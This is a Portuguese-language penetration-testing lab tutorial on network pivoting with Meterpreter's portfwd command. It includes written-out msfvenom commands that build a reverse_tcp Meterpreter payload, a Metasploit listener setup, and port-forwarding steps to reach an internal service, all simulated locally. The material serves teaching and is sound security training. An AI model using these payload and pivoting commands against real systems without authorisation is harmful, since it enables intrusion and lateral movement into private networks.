Realizar Pivô de Rede com portfwd no Meterpreter

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá sobre pivotamento de rede, uma técnica fundamental em testes de penetração. Pivotamento é o processo de usar um sistema comprometido para acessar outros sistemas em uma rede interna que não são diretamente acessíveis a partir da sua máquina.

Usaremos o Meterpreter do Metasploit, um poderoso payload de pós-exploração, e seu comando portfwd para alcançar isso. Você aprenderá como configurar um encaminhamento de porta para tunelar tráfego através de um host comprometido, permitindo que você interaja com serviços em sua rede local como se estivesse diretamente conectado.

Identificar um serviço na rede interna de um alvo

Nesta etapa, simularemos a obtenção de uma sessão Meterpreter em uma máquina alvo. Em um cenário real, isso seria alcançado explorando uma vulnerabilidade. Para este laboratório, configuraremos um listener no Metasploit e executaremos manualmente um payload para conectar a ele. Isso nos permite focar na fase de pós-exploração.

Primeiro, precisamos instalar o Metasploit Framework.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

Em seguida, abra um terminal e inicie o console do Metasploit.

msfconsole -q

Dentro do msfconsole, configuraremos um handler para escutar conexões de entrada.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

Agora, abra um novo terminal (você pode usar o botão "+" na aba do terminal). Neste novo terminal, geraremos e executaremos um payload para conectar de volta ao nosso listener.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

Volte para o seu primeiro terminal com o msfconsole. Você deverá ver uma mensagem indicando que uma nova sessão foi aberta. Vamos interagir com ela.

sessions -l
sessions -i 1

Você agora está em uma sessão Meterpreter. Um primeiro passo comum é realizar reconhecimento. Vamos verificar as interfaces de rede do host "comprometido".

ifconfig

Você verá várias interfaces de rede. Para este laboratório, assumiremos que, através de escaneamentos adicionais (que estão além do escopo deste laboratório), descobrimos um serviço web rodando em 127.0.0.1 na porta 8080. Nosso objetivo é acessar este serviço.

Usar o comando portfwd add no Meterpreter

Nesta etapa, exploraremos o comando portfwd, que é uma ferramenta chave para encaminhamento de portas no Meterpreter.

O comando portfwd nos permite criar um túnel, redirecionando o tráfego de uma porta em nossa máquina local (atacante) para um IP e porta específicos acessíveis a partir do host comprometido. Esta é a essência do pivotamento.

O comando possui várias opções, mas focaremos em add, list e delete (ou rm).

A sintaxe para adicionar uma nova regra de encaminhamento de porta é a seguinte:

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

Vamos detalhar os parâmetros para a operação add:

  • -l <local_port>: A porta em sua máquina local (a máquina atacante) que escutará por conexões de entrada. Você se conectará a esta porta para acessar o serviço remoto.
  • -p <remote_port>: A porta de destino na rede alvo que você deseja acessar. No nosso caso, esta é 8080.
  • -r <remote_host>: O endereço IP de destino na rede alvo. Este host deve ser alcançável pela máquina comprometida. No nosso caso, este é 127.0.0.1.

Na próxima etapa, usaremos este comando para criar uma regra de encaminhamento para o serviço web que identificamos.

Encaminhar uma porta do host comprometido para sua máquina Kali

Agora que você entende o comando portfwd add, vamos usá-lo para encaminhar o serviço web interno para nossa máquina local.

Nosso objetivo é acessar o serviço rodando em 127.0.0.1:8080 (da perspectiva do host comprometido) conectando-nos a uma porta em nossa própria máquina. Vamos escolher a porta local 8888 para este propósito.

Na sua sessão Meterpreter, execute o seguinte comando:

portfwd add -l 8888 -p 8080 -r 127.0.0.1

Este comando instrui o Meterpreter a escutar na sua porta local 8888 e encaminhar quaisquer conexões para 127.0.0.1:8080 no sistema alvo. Você deverá ver uma mensagem de confirmação.

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

O encaminhamento está agora ativo. Qualquer tráfego enviado para localhost:8888 em sua máquina será tunelado através da sessão Meterpreter para a porta 8080 do alvo.

Acessar o serviço interno através da nova porta local

Com o encaminhamento de porta configurado, podemos agora acessar o serviço web interno como se estivesse rodando em nossa própria máquina.

Abra um novo terminal em sua máquina (não feche o terminal msfconsole).

Use uma ferramenta de linha de comando como curl para fazer uma requisição à porta local que você configurou (8888). Esta requisição será enviada para sua máquina local.

curl http://127.0.0.1:8888

A requisição viajará do seu cliente curl para a sua porta local 8888, através da sessão Meterpreter para o host comprometido, e finalmente para o serviço web em 127.0.0.1:8080. Você deverá ver o conteúdo HTML da página web interna como resultado.

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

Sucesso! Você pivotou com sucesso para a rede do alvo e acessou um serviço que não era diretamente alcançável.

Listar e remover a regra de encaminhamento de porta

Após terminar de usar o pivô, é uma boa prática limpar suas regras de encaminhamento de porta para remover rastros e liberar recursos.

Primeiro, vamos listar todas as regras de encaminhamento de porta ativas. Volte para sua sessão Meterpreter e use o comando portfwd list.

portfwd list

Você verá uma tabela listando o encaminhamento ativo, incluindo seu número de índice, tipo e detalhes da conexão.

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

Para remover uma regra, você pode usar portfwd delete ou portfwd rm. Você precisa fornecer o número do índice da regra na lista. No nosso caso, o índice é 1.

Execute o seguinte comando para remover a regra:

portfwd delete -i 1

Você deverá ver uma confirmação de que o retransmissor TCP foi parado.

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

Você pode executar portfwd list novamente para confirmar que a regra foi removida. A lista agora deve estar vazia. Isso garante que o túnel seja fechado e sua máquina não esteja mais escutando na porta 8888.

Resumo

Neste laboratório, você aprendeu os fundamentos do pivô de rede usando o utilitário portfwd do Meterpreter.

Você simulou com sucesso a obtenção de uma sessão Meterpreter, identificou um serviço interno hipotético e criou uma regra de encaminhamento de porta para tunelizar o tráfego da sua máquina local para a rede interna do alvo. Em seguida, você acessou este serviço interno através do túnel e aprendeu como listar e remover as regras de encaminhamento para limpar sua sessão.

Esta técnica é uma habilidade fundamental em testes de penetração, permitindo que você expanda seu acesso de um único host comprometido para uma rede interna inteira.